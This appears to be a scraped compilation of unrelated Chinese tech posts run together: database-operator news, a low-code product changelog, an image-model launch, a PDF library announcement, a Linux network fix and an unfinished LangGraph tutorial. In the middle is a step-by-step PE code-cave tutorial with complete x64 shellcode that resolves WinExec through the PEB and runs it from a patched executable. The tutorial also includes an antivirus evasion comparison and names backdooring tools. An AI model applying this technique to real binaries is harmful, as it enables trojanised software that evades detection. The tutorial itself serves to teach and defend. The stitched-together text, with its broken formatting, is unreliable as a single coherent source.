正在进行当中的工作包括支持 ClickHouse、Vitess、DocumentDB、Valkey 等工具以及集成 Prometheus 和其他可观察性平台。根据项目愿景页面的介绍,其长期目标是为构建和运营数据平台提供一个灵活的开源选项,并充分利用 Kubernetes 的普及性:“根据 Kubernetes 的调查数据,已经有 50%的组织在生产环境的 Kubernetes 上运行数据工作负载。”Pronin阐述了从单供应商解决方案向开源转型的过程:

 

该项目正在转变为 OpenEverest——一个采用开放治理模式、拥有蓬勃发展的多供应商社区的独立开源项目。(……)OpenEverest 将通过社区驱动的开放治理模式运作,摆脱单一供应商的控制。

 

该团队计划将该项目捐赠给 CNCF,以保证其长期的独立性,并继续指导其孵化过程。OpenEverest 并非在 Kubernetes 上管理数据库集群的唯一选择。KubeBlocks 是一款开源 operator(遵循 AGPL-3.0 许可),设计用于通过统一的 API 管理多种数据库类型,它目前支持 35 种数据库引擎,远超 OpenEverest;而作为数据库管理平台,KubeDB 虽然支持多种数据库,但已不再完全开源。此外,StackGres 等特定于数据库的 operator 则专注于为单一主流开源数据库引擎提供深度功能集。

 

OpenEverest 遵循 Apache License 2.0 许可。

 

原文链接:

https://www.infoq.com/news/2026/01/openeverest-kubernetes-databases/

项目介绍

JVS是企业级数字化服务构建的基础脚手架,主要解决企业信息化项目交付难、实施效率低、开发成本高的问题,采用微服务+配置化的方式,提供了低代码+数据分析+物联网的核心能力产品,并构建了协同办公、企业常用的管理工具等,所有的应用与能力采用模块化构建,按需开箱使用。

更新日志

一、生产计划排程系统(APS)

当前版本:v2.4.X
更新时间:2026.2.11
在线demo:https://aps.bctools.cn

新增与优化

告别因配置疏忽导致的“无限期”排产与卡顿渲染!
我们深知,一个因产能配置不当而产生的超长周期任务,会拖慢整个排产计算,更会导致甘特图渲染缓慢、操作卡顿。现在,系统会主动为任务时长和整体计划跨度设置“安全围栏”。一旦检测到异常,将立刻暂停并高亮提示具体问题订单与原因(如“产能配置过低”),指导您快速调整。这确保了每次排产计算高效、结果可靠,让您专注于计划本身,无需担忧系统性能。
图片

二、JVS物联网应用平台

当前版本:v2.4.X
更新时间:2026.2.11
在线demo:http://iot.bctools.cn

新增与优化

1、本次更新在「设备详情页」中新增了数采设备关系图。该功能通过可视化血缘拓扑,清晰展示当前设备与上层采集器、通讯协议及下属点位之间的完整连接关系与数据流向。双击图中任意节点图标,即可在右侧展开查看该节点的详细配置信息,实现全局拓扑与细节配置的无缝切换。
图片
2、新增首页个性化配置功能,可以打造完全属于自己的专属首页了!支持自由拖拽多种图表组件与地图组件,灵活组装最核心的业务信息视图,让关键数据一目了然。
图片

图片

图片
3、新增「设备命令日志」功能,让每一次设备交互都有迹可循。可以在设备详情页中,实时查看所有命令的下发状态、执行耗时与具体错误信息,实现操作全程可追溯,便于快速定界设备端或平台端问题。
图片
4、在设备详情页中,针对每个属性(如“温度”、“湿度”)新增独立的「属性日志」查询功能。可随时查看任一属性的历史数据,支持以列表或趋势图两种形式展示,并支持自定义查询时间范围(最大跨度7天),便于进行数据回溯与分析。
图片

图片
5、本次更新,为视频中心接入了全新的可视化规则引擎。可以通过直观的拖拽连线方式,灵活配置由“设备上下线”、“消息通知”等事件触发的自动化工作流,实现监控场景的智能响应与处置。
图片
6、本次更新全面增强了设备的空间管理能力。现在,不仅可以在设备详情页中直接配置与查看精确的地理位置信息(包括地址、经纬度),更可在系统首页通过新增的「设备位置」插件,全局、可视化地掌握所有在线设备的分布状况。
图片
7、在规则配置的可视化流程中,新增 「北向推送」执行节点。可通过该节点,将设备事件或告警数据,以 HTTP/MQTT 协议实时推送至指定的外部系统 URL,并支持自定义请求方法与报文格式,轻松实现与第三方平台的数据集成。
图片

图片

三、JVS规则引擎风控决策

当前版本:v2.4.X
更新时间:2026.2.11
在线demo:http://rules.bctools.cn

新增与优化

在决策流编辑器中,于复合变量内使用快捷方式添加节点时,曾会引发配置错误导致流程无法保存。此问题现已修复,可以通过任意快捷方式正常添加节点,配置体验恢复流畅。
图片

四、JVS-智能BI数据分析套件

当前版本:v2.4.X
更新时间:2026.2.11
在线demo:http://bi.bctools.cn

新增与优化

BI修复表格下钻不触发的问题,解决修复后可进行下钻操作。
图片

为什么选择JVS?

JVS是一个为交付团队提供低成本、高效率、源码可100%交付的数字化解决方案,如下图所示,其中产品包括包含:低代码、物联网、规则引擎、智能BI、逻辑引擎、智能排产(APS)、视频会议、无忧企业文档(在线协同)、无忧企业计划、无忧企业邮筒等,可按照交付团队所需要进行采购。
图片
✅低代码开发套件:页面、流程、逻辑配置化、自动构建业务应用,集成自动化部署工具,形成可持续升级配置的快速开发工具,支持源码扩展接入列表页配置
5dd7e03b5e168b7e22fb5a250d84036e.png
✅ 物联网:软件化的边缘网关+配置化的物联网平台,与低代码、数据分析、逻辑引擎等联动实现,从数据采集、规则策略、业务联动、数据分析展现全流程配置化,技术生态完备
图片
✅ 规则引擎:一款处理风控决策的软件系统,侧重于规则判断,主要用于风控决策、规则过滤、行为评分等场景,支持在线的变量加工、界面拖拽、在线测试等多种功能。可以降低开发人员使用复杂代码的难度;降低数据录入工作量;优化功能代码实现,提高开发效率;灵活扩展应用程序功能。
图片
✅ JVS·智能BI:自助式数据分析工具,提供数据清洗、数据转换、数据加工等功能。将枯燥数据转化为可视化,帮助企业快速、精准地掌握运营策略,使用门槛低、数据覆盖能力强、多种数据表达模式和建设成本低的一站式数据分析服务。
51aa1849807cee35a80f092823611b76.png
✅ 逻辑引擎:逻辑引擎是通过对原子服务能力的可视化编排,同时接入外部应用,以满足数据处理、业务实现、自动化业务的实现,可以设计整个逻辑模块的输入、组装执行过程、生成标准的输出结果。轻松实现业务功能,无需复杂冗长的开发过程。
图片
✅ 无忧·企业文档:有免费开源版和可商用的版本。主要针对企业用户,支持多人在线同步编辑,支持多种文件格式的在线编辑和预览,比如文本文档、表格文档、脑图文档、MarkDown、XMind、脑图、word、Excel、PPT和流程文档等,还支持文件上传、下载、分享、点赞、评论、AI、权限管理、全文检索等等丰富功能。。
图片
✅ JVS·智能排产(APS系统):聚焦于离散制造行业(如汽车、电子、机械、航空航天等)及流程制造行业(如化工、食品、医药等),通过AI驱动的智能算法,实现生产计划与排程的高效性、准确性、敏捷性,帮助企业提升设备利用率、降低库存成本、缩短交付周期,实现精益生产与数字化转型。
图片
✅ 无忧·企业计划:企业级项目管理工具,将企业从经营目标到个人执行逐级分解监控执行。适合各类团队,包括产品、研发、设计、市场、运营、销售、HR等;主要用于项目管理、任务管理、进度跟踪、过程管理等场景。
13f65b5de68af69aaeda6bcc918e2333.png
✅ 无忧·企业邮筒:完全开源的私有化部署邮件客户端、支持多邮件账户、将多个邮件客户端统一为web操作的邮件客户端。
图片
✅ 无忧·视频会议:这是一款专为现代企业提供的高效、稳定、安全的在线会议交流解决方案。系统包括了高清视频会议、即时通讯、屏幕共享、白板展示、实时翻译、会议日程管理等多功能于一体,旨在满足企业日常沟通、协作、培训、决策等多元化企业内部协同交流的需求。
图片

技术文档

产品文档(操作手册):
​​http://doc.bctools.cn/#/knowledge/all/dd37733c43c064ac1c4f1c2...​​
开源仓库:
​​https://gitee.com/organizations/software-minister/projects​​
商业版和开源版对比:
​​https://mp.weixin.qq.com/s/FuFHHF1FfnMavSYlyLuxbw​​
企业文档开源版部署视频:
​​https://www.bilibili.com/video/BV1BN411q79Y​​
官网地址:​​https://bctools.cn
图片

2 月 10 日,阿里巴巴正式发布新一代图像生成及编辑模型 Qwen-Image-2.0。据介绍,Qwen-Image-2.0 集生图和编辑于一体,在 AI Arena 文生图评测中斩获 1029 分,超过 Seedream4.5、Flux2-Max 等模型,仅次于谷歌 Nano Banana Pro 和 GPT Image1.5。

AI Arena 文生图评测中,Qwen-Image-2.0 位居第三

 

Qwen-Image-2.0 支持 1K token 的超长文字输入和 2K 高分辨率,可准确渲染复杂指令,生成专业的 PPT 及信息图;同时,千问新模型拥有极强中文汉字渲染能力,数百字的古文全文几乎都能完全渲染在图片中。

 

Qwen-Image-2.0 在 Qwen-Image 和 Qwen-Image-Edit 两大模型基础上全新升级,首次将图像生成和编辑统一到一个模型中去,以更轻量的模型架构,实现了生图和改图性能的大幅提升。

 

Qwen-Image-2.0 生图质感进一步提升,生成的人物、自然、建筑等常用图片更加逼真。在权威评测 AI Arena 中,千问新模型在图像生成中得分 1029,位列第三;在图片编辑中得分 1034,仅次于 Nano Banana Pro。

Qwen-Image-2.0 生图,以瘦金体写诗配图

 

在中文汉字渲染方面,官方表示 Qwen-Image-2.0 不但可以以多种字体准确渲染汉字,而且写得又多又准,效果比 Nano Banana Pro 更优。千问新模型将输入提示词扩展到 1K token,可详尽描述任务,实现更专业的文字渲染,在专业 PPT、高级海报、多格漫画等复杂图片方面有不错表现,比如以小楷字体几近完全渲染《兰亭集序》数百字的全文配图,以自然语言生成论文格式配图的复杂 PPT 等。

 

Qwen-Image-2.0 生图,多文字复杂 PPT 一键生成

 

此外,基于 Qwen-Image-2.0 模型,用户可与 AI 协同创作出更丰富、更实用的图片,比如一句话生成宫保鸡丁的做法流程图,杭州两日旅游攻略图,4x6 的多格漫画组图,儿童绘本图,写实风格的电影海报,极为逼真的绿色丛林等等;同时,用户也可上传数张图片进行编辑,生成诸如九宫格多手势自拍,真人配字表情包,双人逼真 AI 合影,诗词配图等。

 

Qwen-Image-2.0 编辑图片

 

据了解,阿里云百炼上已开通 API 邀测,开发者也可通过 Qwen Chat 免费体验新模型。

用上了 ai ,感觉工作的性质变了,ai 写的代码又快又好,其实也不是很慌,但是觉得可以做一些其他方向的尝试来提高自己的价值。

PE代码洞是PE文件补丁的一种方式,PE补丁的本质是在不修改原始源代码的情况下,直接对可编译的可执行文件,进行二进制级别的修改,以改变程序的行为、修复漏洞或添加功能。 它和PE壳技术原理有着异曲同工之妙。本篇文章主要讲解代码洞的利用过程以及原理,从而进行更好的防御。

代码洞(Code Caving)

代码洞成因以及定位

直白点来说,代码洞就是PE文件中一段全由零(0x00)或INT3断点(0xcc)、NOP(0x90)组成的空白区域,我们可以利用代码洞填充一些其他的字节码,但前提是该区域要有可执行权限,比如.text代码段,默认拥有执行权限。
这里要提出一个问题,即为什么会产生代码洞?
原因主要有两个:

  1. 由于编译器为了性能,会要求节区在内存和文件中的起始地址必须按特定值对齐,这通常会导致节区的SizeOfRawData(磁盘大小)小于其VirtualSize(内存大小),或者在节区的末尾留下一段未使用的、由零字节(0x00)填充的区域。这些连续的零字节区域就是代码洞。
  2. 有时开发者为了后续扩展,会故意在数据段中留出较大的空白缓冲区,方便热更新。
    比如这个示例中文件对其FileAlignment的值为512,那么就意味着每个节区在磁盘中的大小必须为512的整数倍

1.png
text节的实际大小(VirtualSize)为:0x18B0,需要再补充0x150字节的数据,才能实现文件对其,而这0x150字节的数据则全由0x00进行填充,填充后的总大小为0x1A00,也就是SizeOfRawData的值,所以text区域的代码洞大小为0x150=347字节

2.png
直接查看text的末尾即可看到该段填充数据

3.png
稍微补充以下关于0x000x900xcc的区别:

  • 0x00 是空字节,通常用于填充未使用的内存区域,或者在数据结构之间进行内存对齐。它是由于内存分配和未初始化数据的结果。
  • 0x90 是NOP指令,通常用于占位或修改程序执行流,常见于代码洞、调试过程中的控制流跳过,或恶意代码注入。
  • 0xcc是调试断点指令,用于中断程序执行,通常由调试器使用,如果0xCC出现在一个程序的空白区域,尤其是一些没有实际执行代码的区域,它就可以被视为代码洞的一部分。
    通常来讲大面积的0x900xcc区域一般不会出现,所以我们在进行代码洞利用时,一般是寻找可执行节区的0x00区域。
    这里可以使用笔者开发的一个小工具:https://github.com/R0x7e/SearchCodeCaving
    该工具能够直接找出PE文件中的代码洞位置,以及大小,工具虽简单,但方便直观。

4.png
在以上的内容中,讲述了PE代码洞的成因,以及如何定位代码洞,接下来我们要讲述,如何利用代码洞插入额外的shellcode,并进行执行

代码洞利用

先说思路,后面再进行步骤演示,代码洞利用通常有两种方式:

  • 方法 A (修改入口点 Entry Point): 修改 PE 头的 AddressOfEntryPoint,将其指向代码洞的起始地址(虚拟地址 VA),这种方式不推荐,易于检测。
  • 方法 B (Inline Patching): 在原程序的某个指令处,将其替换为一条 JMP <代码洞地址> 指令。这需要计算相对偏移量。
    其中方法A和PE壳的原理相似,这部分重点讲方法B,方法B的具体思路为:
    1. 寻找到一个足够大的代码洞区域
    2. 在程序中找到一个指令,然后替换为JMP <代码洞地址>
    3. 编写一个payload,填充进行代码洞中,这个payload有些讲究,内容略多,后文会进行细讲
    4. 执行原本被替换的指令
    5. payload的最后一条为JMP指令,返回到原指令的下一条指令地址
    6. 代码洞执行完成,程序恢复运行状态

寻找跳板

寻找代码洞的步骤上述内容已经做过了,不再赘述,这里直接寻找一个指令,该指令作为跳板指令,然后修改该指令为JMP <代码洞地址>,由于JMP指令会占用5字节,所以我们要寻找的指令长度必须>=5字节,比较合适的指令为JMP或者CALL,虽然这两个指令长度并非固定,如JMP中的短跳2字节间接跳等,但这并非本文的重点,总之这两种指令是作为寻找跳板指令的最优解。
为了寻找合适的跳板指令,我们这里可以直接使用ida打开目标程序,由于ida默认只显示汇编代码(如 call sub_401000),不显示机器码(如 E8 05 00...),所以需要修改设置,方便确认指令长度,具体开启的步骤为:

  • 点击顶部菜单 Options -> General
  • 在右侧找到 **Number of opcode bytes。
  • 将默认的 0 改为 8
  • 点击 OK。

5.png
那么在这时就可以直接看到汇编指令对应的机器码了

6.png
为了方便寻找,这里按下ALT+T,搜索CALL指令,选中Find ALL选项

7.png
在寻找替换指令时,需要注意,该指令一定要会执行,(可以通过ida进行分析),否则后面的操作就是白搭,这里我们选择一个call TargetFunction指令进行替换

8.png

.text:00000001400014BB E8 D0 FF FF FF   call    TargetFunction

这是我们已经基本确定了跳板指令,接下来在计算我们要修改CALL指令的偏移量以及代码洞中的payload执行完之后的回调地址(当前执行的下一条指令地址)。
计算当前指令地址:
首先计算当前指令的地址,当前exe文件的imagebase140000000h,在ida中看到当前指令的VA地址为1400014BBB,那么当前跳板指令的相对虚拟地址RVA为0x14BB

计算公式:0x1400014BB (VA) - 0x140000000 (基址) = **`0x14BB

有了指令RVA之后,然后再计算当前指令在磁盘文件中的地址,即文件偏移,计算公式为:文件偏移 = RVA - text 节VirtualAddress + PointerToRawData
text节的VA为:1000h,PointerToRawData为600h,所以当前指令在磁盘文件中的地址为:0x14BB - 0x1000 + 0x600 = 0xABB,如果不确定计算结果可以通过010 editor进行验证,在010 editor中按下Ctrl+G,输入ABB,可以看到搜索的机器码为E8 D0 FF FF FF,和ida中查看的结果一致

9.png
以上计算步骤,得到了当前指令的RVA为:0x14BB,磁盘文件地址为:0xABB,接下来在计算代码洞的地址。
代码洞地址计算
代码洞的地址计算就相对简单了一些,代码洞的RVA地址为:VA+VirtualSize,VA为:1000h,VirtualSize为:18B0h,那么代码洞的RVA为:28B0h,
JMP指令相对偏移计算
我们需要将当前call TargetFunction修改为JMP <代码洞地址>,就需要计算出当前指令以及代码洞之间的相对偏移量,相对偏移量的计算公式为:

偏移量 = 目标地址 - 源地址 - 5
  • 源地址 (Source RVA): 0x14BB (跳板位置)
  • 目标地址 (Target RVA): 0x28B0 (你的代码洞位置)
  • 指令长度: 5 字节 (E9 指令长度)
    计算结果为:0x13F0,然后此地址填充进JMP指令中,由于PE文件是小端序进行存储的,所以在16进制填充时需要填充的内容为E9 F0 13 00 00
    ida中,右击该指令,然后点击Patching-->Change byte,可以直接对当前机器码进行修改

10.png
修改后的内容为:

11.png

点击ok,然后依次点击Pathcing -- > apply pathes to...将修改后的PE文件保存到本地

12.png

编写代码洞的payload

我们需要编写一个payload,用于填充到代码洞中,该payload主要功能为:

  • 保存现场,将关键寄存器的值保存到栈中
  • 执行弹出计算器的操作,这是我们代码洞利用的目的
  • 恢复现场,从栈中恢复寄存器
  • 执行被我们修改和替换的汇编指令
  • 跳转到被修改的指令的下一条地址中,从而使程序继续正常往下运行
    这里采用汇编的方式编写payload代码,一下是对不同功能的代码进行了拆解:
    保存现场,将关键进寄存器的值保存到栈中:

    asm pushfq push rax push rcx push rdx push rbx push rbp push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15

    设置栈帧并对齐栈

    asm push rbp mov rbp, rsp sub rsp, 0x50 ; 预留足够的局部空间和影子空间 and rsp, -16 ; 16字节对齐

    通过PEB(进程环境块)查找Kernel32.dll的基址

    ```asm

    mov rax, [gs:0x60] ; RAX = PEB地址
    mov rax, [rax + 0x18] ; RAX = PEB_LDR_DATA
    mov rax, [rax + 0x20] ; RAX = InMemoryOrderModuleList第一个条目
    find_k32_loop:
    ; 遍历已加载模块链表
    mov rsi, [rax + 0x50] ; RSI = BaseDllName.Buffer(Unicode字符串指针)
    test rsi, rsi ; 安全检查:确保指针有效
    jz short next_mod

    ; 简化检查:检查"kernel32.dll"中的'3'字符(Unicode)
    ; "kernel32.dll"中'3'是第7个字符,Unicode偏移=6*2=0x0C
    cmp word [rsi + 0x0C], 0x33 ; 0x33 = '3'的Unicode
    je short found_k32
    ```

next_mod:
mov rax, [rax] ; 移动到链表下一个条目(Flink)
jmp find_k32_loop

found_k32:
mov rbx, [rax + 0x20] ; RBX = DllBase(Kernel32.dll基址)

**解析Kernel32.dll导出表, 定位WinExec函数地址**

; 获取PE头偏移
mov r8d, [rbx + 0x3C] ; R8D = e_lfanew(NT头偏移)
; 获取导出表RVA
mov r8d, [rbx + r8 + 0x88] ; R8D = 导出表RVA(DataDirectory[0])
add r8, rbx ; R8 = 导出表虚拟地址

; 获取函数名数组
mov r9d, [r8 + 0x20]        ; R9D = AddressOfNames RVA
add r9, rbx                 ; R9 = 函数名数组地址
xor rdx, rdx                ; RDX = 当前索引

find_winexec_loop:
; 遍历导出函数名
mov r10d, [r9 + rdx * 4] ; R10D = 函数名RVA
add r10, rbx ; R10 = 函数名字符串地址

; 比较字符串"WinExec"(7个字符)
mov rax, [r10]              ; 读取前8字节
mov r11, 0x00FFFFFFFFFFFFFF ; 7字节掩码(忽略第8字节)
and rax, r11
mov r11, 0x636578456E6957   ; "WinExec"的小端十六进制
cmp rax, r11                ; 比较
je short found_winexec      ; 找到匹配

inc rdx                     ; 下一个函数
jmp find_winexec_loop

found_winexec:
; 通过名称索引获取序号
mov r10d, [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r10, rbx
movzx rdx, word [r10 + rdx * 2] ; 获取序号(零扩展)

; 通过序号获取函数地址
mov r10d, [r8 + 0x1C]       ; AddressOfFunctions RVA
add r10, rbx
mov r10d, [r10 + rdx * 4]   ; R10D = WinExec函数RVA
add r10, rbx                ; R10 = WinExec实际地址
**调用WinExec执行计算器**
```asm
 ; 构建"calc.exe\0"字符串
    xor rax, rax                ; RAX清零
    push rax                    ; 字符串终止符
    mov rax, 0x6578652E636C6163 ; "calc.exe"(小端序)
    push rax                    ; 压入字符串

    ; 设置参数(Windows x64调用约定:RCX, RDX, R8, R9)
    mov rcx, rsp                ; 参数1:lpCmdLine("calc.exe")
    mov rdx, 5                  ; 参数2:uCmdShow = SW_SHOW

    ; 调用约定要求:调用前分配32字节影子空间
    sub rsp, 0x20               ; 分配影子空间
    call r10                    ; 调用WinExec
    add rsp, 0x20               ; 清理影子空间

恢复原始环境

    mov rsp, rbp                ; 恢复栈指针
    pop rbp                     ; 恢复基址指针
    ; 恢复所有寄存器(逆序)
    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdi
    pop rsi
    pop rbp
    pop rbx
    pop rdx
    pop rcx
    pop rax
    popfq

执行被修改的指令,并跳转到下一条指令的地址中,从而恢复程序运行

    db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF  ; call 原始目标函数
    db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF  ; jmp 返回原始位置

完整汇编代码为:

; 在内存中动态定位 Kernel32.dll,查找 WinExec 并弹出计算器

[BITS 64]

SECTION .text
    global _start

_start:
    ; 1. 保存原始环境
    pushfq
    push rax
    push rcx
    push rdx
    push rbx
    push rbp
    push rsi
    push rdi
    push r8
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push r15

    ; 2. 建立新栈帧并进行 16 字节对齐
    push rbp
    mov rbp, rsp
    sub rsp, 0x50               ; 预留足够的局部空间和 Shadow Space
    and rsp, -16                ; 强制 16 字节对齐 (x64 API 调用必须)

    ; 3. 查找 Kernel32.dll 基址 (通过 PEB)
    mov rax, [gs:0x60]          ; RAX = PEB
    mov rax, [rax + 0x18]       ; RAX = PEB_LDR_DATA
    mov rax, [rax + 0x20]       ; RAX = InMemoryOrderModuleList (指向第一个模块)

find_k32_loop:
    mov rsi, [rax + 0x50]       ; RSI = BaseDllName.Buffer (Unicode 字符串指针)
    test rsi, rsi               ; 防御检查:如果指针为空则跳过
    jz short next_mod

    ;'3' 在 "kernel32.dll" 的 Unicode 偏移是 0Ch (第7个字符)
    cmp word [rsi + 0x0C], 0x33 ; 比较是否为 '3'
    je short found_k32

next_mod:
    mov rax, [rax]              ; RAX = Flink (下一个模块)
    jmp find_k32_loop

found_k32:
    mov rbx, [rax + 0x20]       ; RBX = DllBase (Kernel32 基址)

    ; 4. 解析导出表获取 WinExec
    mov r8d, [rbx + 0x3C]       ; R8D = NT Header Offset
    mov r8d, [rbx + r8 + 0x88]  ; R8D = Export Directory RVA
    add r8, rbx                 ; R8 = Export Directory VA

    mov r9d, [r8 + 0x20]        ; R9D = AddressOfNames RVA
    add r9, rbx                 ; R9 = AddressOfNames VA
    xor rdx, rdx                ; RDX = Name Index (从 0 开始计数)

find_winexec_loop:
    mov r10d, [r9 + rdx * 4]    ; R10D = 导出函数名 RVA
    add r10, rbx                ; R10 = 导出函数名 VA

    ; 比较字符串 "WinExec"
    mov rax, [r10]
    mov r11, 0x00FFFFFFFFFFFFFF ; 7 字节掩码 (WinExec 是 7 字符)
    and rax, r11
    mov r11, 0x636578456E6957   ; "WinExec" 的 Hex (小端序)
    cmp rax, r11
    je short found_winexec

    inc rdx
    jmp find_winexec_loop

found_winexec:
    ; 通过索引从 Ordinal Table 获取序号
    mov r10d, [r8 + 0x24]       ; AddressOfNameOrdinals RVA
    add r10, rbx
    movzx rdx, word [r10 + rdx * 2]

    ; 通过序号从 Address Table 获取函数地址
    mov r10d, [r8 + 0x1C]       ; AddressOfFunctions RVA
    add r10, rbx
    mov r10d, [r10 + rdx * 4]   ; R10D = WinExec RVA
    add r10, rbx                ; R10 = WinExec 真实 VA

    ; 5. 执行 WinExec("calc.exe", 5)
    xor rax, rax
    push rax                    ; 放入 NULL 终止符
    mov rax, 0x6578652E636C6163 ; "calc.exe"
    push rax
    mov rcx, rsp                ; 参数 1: lpCmdLine (指向栈上的字符串)
    mov rdx, 5                  ; 参数 2: uCmdShow (SW_SHOW)

    sub rsp, 0x20               ; 提供 32 字节 Shadow Space
    call r10                    ; 调用 WinExec
    add rsp, 0x20               ; 清理 Shadow Space

    ; 6. 恢复现场
    mov rsp, rbp
    pop rbp

    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdi
    pop rsi
    pop rbp
    pop rbx
    pop rdx
    pop rcx
    pop rax
    popfq

    ; 补上被替换掉的 call TargetFunction
    ; 相对偏移 = 目标 - (当前指令地址 + 5)
    ; 计算: 1490 - (当前VA + 5)
    db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF 

    ; 跳回主程序返回点
    ; 相对偏移 = 目标 - (当前指令地址 + 5)
    ; 偏移 = 14C0 - (2994 + 5) = -14D9 (hex)
    db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF ; jmp 1400014C0

然后将其命名为payload2.asm进行编译为二进制文件:

nasm -f bin payload2.asm -o payload2.bin

代码洞填充

通过010 editro 复制为16进制

13.png

从此处进行插入,实际上从0x90处插入也可以,但为了方便后续计算,从0x00处插入更为简单

14.png
粘贴自16进制数据,不能直接ctrl+v进行粘贴

15.png

粘贴后的内容如下,然后ctrl+s保存

16.png
运行程序,弹出计算器,hello world正常运行

17.png
讲到这里,大家更关心的可能还是这种方式的规避能力如何,于是我将利用前后进行了一个对比,当然这里仅作为对比,不具备实战性的参考,因为在写入实际的shellcode后,其特征会有明显的差异。

18.png

19.png

相关成熟的工具

在上文中尽量通过手工的方式进行代码洞利用,便于理解其中的原理,以及具体的操作过程,关于代码洞利用,这并不是一项新的技术,反而是早已成熟的方案,在github已可以找到多个成熟的工具,这里贴一些相关的工具:

  • Backdoor-factory kali可安装
  • shellter kali可安装
  • PE-infector https://github.com/MastMind/PE-infector
  • PeInjector https://github.com/JonDoNym/peinjector代码洞利用的缺陷
    --------

    代码洞的仅通过不同节区之间的空隙填充shellcode但有时候会遇到空隙大小不足以填充我们的shellcode,这时候可以采用新增一个节区的方式,但这种方式也存在弊端,即对PE文件的改动较大,大小与原文件不一致,通过代码洞不会改变原文件的大小,另外对于已签名的程序进行修改会破环程序的签名,但这也有相关的应对方法,由于PE文件的证书表不参与哈希计算,如果可以将shellcode填充进行证书表中,那么将不会破坏PE文件的证书,这种技术已有成熟的工具SigFlip。

在这寒冬中,让我感到温暖

半年前开源一个全新的前端 html 转 pdf 方案,被阮一峰老师最新一期《科技爱好者周刊》收录了,也算是这半年工作的一个小小里程碑。

https://imgur.com/ftB7yWb

核心特性

  • 使用简单 - 前端一行代码就可以实现转 PDF 功能

  • 🎨 纯前端实现 pdf 生成 - 无需服务器介入

  • 💻 生成的是矢量 PDF- PDF 的文字可以搜索选中编辑,更小的文件体积,文字不会模糊

  • 📱 精准的页面分割处理- 避免页面元素被切割

  • 🚀 可生成上千页的 PDF 文件- 对比一般方案( html2canvas+jspdf ),提升了几百倍

  • 📦 自定义页眉页脚- 可以根据需求,自定义页眉页脚

生成效果

https://imgur.com/cjlK23M

在线体验

https://dompdfjs.lisky.com.cn

Git 仓库地址 (欢迎 Star⭐⭐⭐)

https://github.com/lmn1919/dompdf.js

【问题描述】

现象:

某些机器系统右下角的网络图标显示感叹号(如下图所示),但是网络又是正常使用的,我们该如何处理呢?

原因分析:

麒麟系统有个网络连通检测地址,会去测试/etc/NetworkManager/NetworkManager.conf文件里定义的网址的连通性,不能连通该网址就会有相关的网络异常提示。

【解决办法】

方法1:禁用网络连通检测

  1. 编辑/etc/NetworkManager/NetworkManager.conf文件,如下图所示,在[connectivity]下方增加一行enabled=false内容。然后保存并关闭文件。

    sudo  pluma  /etc/NetworkManager/NetworkManager.conf

    如下图所示:
    file

  2. 执行以下命令,重启NetworkManager服务:

    sudo systemctl restart NetworkManager
  3. 查看网络状态是否已经不显示感叹号了?如果还存在,重启系统再看一下。

方法2:禁用网络连通检测

网络连接性检测的默认网址 www.cnnic.net.cn 无法访问导致的。为了解决这个问题,将这个网址修改为可以正常访问的网址,例如 www.baidu.com ,或者内网里可以正常访问的网址。

操作步骤

  1. 修改配置文件:

    sudo  pluma  /etc/NetworkManager/NetworkManager.conf
  2. 编辑内容:
    找到网络连接性检测的相关设置,将网址 http://www.cnnic.net.cn 修改为 http://www.baidu.com ,然后保存并退出编辑,如下图所示:
    file
  3. 重启NetworkManager服务(或者重启操作系统):

    $ sudo  systemctl  restart  NetworkManager

本文由mdnice多平台发布

在之前的文章中,我们深入讲解了如何使用 LangChain + Ollama 构建本地大模型调用方案。
但是,随着业务需求不断增长,我们发现仅仅调用模型已经远远不够——我们希望构建具备条件判断、流程控制、工具调用以及状态记忆的智能 Agent

这时候,LangChain 的 create_agent + LangGraph 的 StateGraph 就成为了真正面向工程的利器。

今天,我们就来讲清楚:

什么是 LangGraph?为什么它是构建可控 Agent 的未来?如何在最新 API 下用 create_agent 和 StateGraph 构建有状态智能体?

一、为什么要用 LangGraph 构建 Agent?

在 LangChain 最新版本中,Agent API 已经全面升级,官方推荐使用 create_agent 构建生产级智能体,并基于 LangGraph 对内部流程进行图结构编排。

create_agent
是一个高阶接口,用于构建图式 Agent。它内部依赖 LangGraph 执行器,在一个状态图中逐步完成模型推理、工具调用、决策流跳转等逻辑。

过去我们可能使用 Chain + Logic 组合来处理流程,但随着逻辑复杂度增加,线性写法很难维护、扩展和调试。
LangGraph 的图结构 可以让我们:

  • 状态(state) 表达全局对话或任务信息
  • 节点(nodes) 表达流程逻辑
  • 边(edges) 表达不同分支与条件
  • 记忆插件 实现短期和长期记忆

这组合起来,就形成了一个可控、有状态流程的智能 Agent


二、什么是 StateGraph?

StateGraph 是 LangGraph 的核心抽象,它表示一个具有全局状态和节点流转逻辑的图
每个节点本质上是一个函数,这个函数:

  • 接收当前全局状态
  • 返回修改后的状态或跳转指令

它非常适合把“复杂流程问题”映射为“图状态机”,无论是对话、工具调用还是多步骤任务。

简化后的 StateGraph 工作流程如下:

StateGraph(StateType)
    ├── add_node(name, function)
    ├── add_edge(source, target)
    └── compile()
        → graph.invoke({state input})

解释一下:

  • StateType:定义全局状态结构
  • add_node:定义节点行为逻辑
  • add_edge:定义节点间的流程跳转关系

三、新 API:create_agent 如何使用?

从 LangChain 最新版本开始,旧的 create_react_agent 已被废弃,统一使用 create_agent

一个最简单的示例:

from langchain.agents import create_agent
from langchain_openai import ChatOpenAI

model = ChatOpenAI(
    model="qwen3:8b",
    base_url="http://localhost:11434/v1",
    api_key="your api key",
)

agent = create_agent(
    model=model,
    tools=[],
    system_prompt="你是一个智能助手,负责处理用户请求。",
)

response = agent.invoke({
    "messages": [{"role": "user", "content": "什么是 LangGraph?"}]
})
print(response)

📌 重点说明:

  • model 可以是任何支持工具调用的聊天模型
  • tools 是 Agent 可调用的外部能力(如检索、代码执行等)
  • system_prompt 是 Agent 的基础角色指令

实际上,create_agent 内部会构建一个 StateGraph,并把模型 + 工具节点组合成可执行流程。


四、结合 StateGraph:构建更复杂的图式 Agent

如果你希望在 Agent 内部实现更复杂的流程(如输入校验、分支工具调用、状态记录等),可以直接使用 StateGraph

